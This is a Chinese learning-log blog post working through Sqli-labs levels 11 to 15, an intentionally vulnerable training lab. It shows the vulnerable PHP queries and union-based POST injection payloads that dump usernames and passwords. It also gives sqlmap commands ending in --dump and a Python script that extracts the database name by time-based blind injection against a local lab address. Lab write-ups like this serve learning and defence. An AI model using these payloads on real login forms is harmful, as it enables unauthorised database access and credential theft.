重闯Sqli-labs关卡第三天(11-15关)
前言
今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。
第十一关:(基于错误的POST型单引号字符型注入)
分析代码有报错可以使用多种注入方式
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin' order by 2#&passwd=admin&submit=Submit
2 uname=admin' union select 1,2#&passwd=admin&submit=Submit
3 uname=0' union select 1,2#&passwd=admin&submit=Submit
4 uname=0' union select user(),version() #&passwd=admin&submit=Submit
5 uname=0' union select 1,database()#&passwd=admin&submit=Submit
6 uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
7 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
8 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
9 uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit
SQLmap 注入payload:
bp抓包保存为lou.txt
python sqlmap.py -r lou.txt
python sqlmap.py -r lou.txt --dbs 列出所有数据库
python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表
python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列
python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据
第十二关(基于错误的双引号POST型字符型变形的注入)
这一关仅在SQL语句处理上根12关不同其他都一一致
核心代码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin") and 1=1 --+&passwd=admin&submit=Submit
2 uname=admin") and 1=2 --+&passwd=admin&submit=Submit
3 uname=admin") order by 2 --+&passwd=admin&submit=Submit
4 uname=0") union select 1,2 --+&passwd=admin&submit=Submit
5 uname=0") union select version(),database() --+&passwd=admin&submit=Submit
6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
8 uname=0") union select group_concat(username),group_concat(password) from users --+&passwd=admin&submit=Submit
第十三关(POST单引号变形双注入)
这一关也是根上面差不多紧紧是SQL语句部分不一致
核心代码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以用上述方法进行注入
也可以用下面的脚本
python脚本:
1 import requests
2 import time
3 url="http://192.168.233.1/lou/sql/Less-13/"
4 allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm'''
5
6 database=""
7
8 for i in range(1,10):
9
10 for j in allString:
11 payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j))
12
13 data={
14 "uname":payload,
15 "passwd":"admin&submit=Submit"
16 }
17 print(data)
18 urls=requests.post(url,data=data)
19 #print(urls.text)
20
21 t=urls.elapsed.total_seconds()
22 #print(j)
23 if t>=3:
24 #print(j)
25 database+=j
26 print(data)
27
28 elif t<3 and j=='M':
29 break
30
31 print('DATABASE:',database)
第十四关
这一关也是紧sql语句处理部分不一致可以对比上面
核心代码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
注入参考上面皆可以
第十五关 (基于bool型/时间延迟单引号POST型盲注)
这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工payload:
1 没任何错误信息只能盲注通过时间注入
2 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
3 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
4 uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
工具注入 参考十三关脚本修改即可
重闯Sqli-labs关卡第三天(11-15关)的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- XMU 1615 刘备闯三国之三顾茅庐(三) 【欧拉函数+快速幂+欧拉定理】
1615: 刘备闯三国之三顾茅庐(三) Time Limit: 1000 MS Memory Limit: 128 MBSubmit: 45 Solved: 8[Submit][Status][W ...
- 重闯Sqli-labs关卡第三天(6-10关)
第六关(双注入GET双引号字符型注) 核心代码: 1 $id = '"'.$id.'"'; 2 $sql="SELECT * FROM users WHERE id=$i ...
- 重闯Sqli-labs关卡第二天(5关)
第五关(双注入GET单引号字符型注入-报错时间注入) 盲注盲注,Blind SQL Injection基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注 核心代码:(不会返回数据库中的数据) ...
- 重闯Sqli-labs关卡第一天(1-4关)
前言 之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉... 垃圾的我只能继续硬着头皮重新再来学习,再来闯. 第一关:字符型注入 字符型注入就是注入点的数据类型是字符型.字符型注入与数 ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- centos6.8 Mysql5.6.22 升级 mysql-5.7.20
一.检查系统环境 二.备份数据库 mysqldump –all-databases > allbackupfile.sql (建议:有条件的话可使用图形化界面备份,操作灵活) 三.下载安装文件 ...
- JS获取DropDownList选择项的值
var dropDownList= document.getElementById("<%=DropDownListID.ClientID %>");//获取DropD ...
- soundPool声音池
soundPool可以同时播放多个声音,但是最好文件不要超过1M,声音只能播放几秒,适合游戏混合音效 public class MainActivity extends AppCompatActivi ...
- 并发编程——多线程计数的更优解:LongAdder原理分析
前言 最近在学习ConcurrentHashMap的源码,发现它采用了一种比较独特的方式对map中的元素数量进行统计,自然是要好好研究一下其原理思想,同时也能更好地理解ConcurrentHashMa ...
- 《JavaScript高级程序设计》——第一章JavaScript简介
第一章主要讲了JavaScript的诞生和发展.刚刚接触JavaScript的我,似乎对这些内容并不感兴趣,快速看了一遍就开始去看第二章了. 看完第一章,收获也就是了解到JavaScript由ECMA ...
- RuntimeError: one of the variables needed for gradient computation has been modified by an inplace operation
问题 在用pytorch跑生成对抗网络的时候,出现错误Runtime Error: one of the variables needed for gradient computation has b ...
- 《Clojure编程》笔记 第2章 函数式编程
目录 背景简述 第2章 函数式编程 背景简述 本人是一个自学一年Java的小菜鸡,理论上跟大多数新手的水平差不多,但我入职的新公司是要求转Clojure语言的.坊间传闻:通常情况下,最好是有一定Jav ...
- 浅谈 Johnson 算法
目录 前言 引入 算法概述 算法流程 正确性证明 代码实现 结语 前言 Johnson 和 Floyd 一样是用来解决无负环图上的全源最短路. 在稀疏图上的表现远远超过 Floyd,时间复杂度 \(O ...
- 微信小程序简单封装图片上传组件
微信小程序简单封装图片上传组件 希望自己 "day day up" -----小陶 我从哪里来 在写小程序的时候需要上传图片,个人觉得官方提供的 Uploader 组件不是太好用, ...
- setTimeout、同步、异步的理解
console.log('111'); setTimeout(()=>{ console.log('222') },1000); console.log('333'); setTimeout(( ...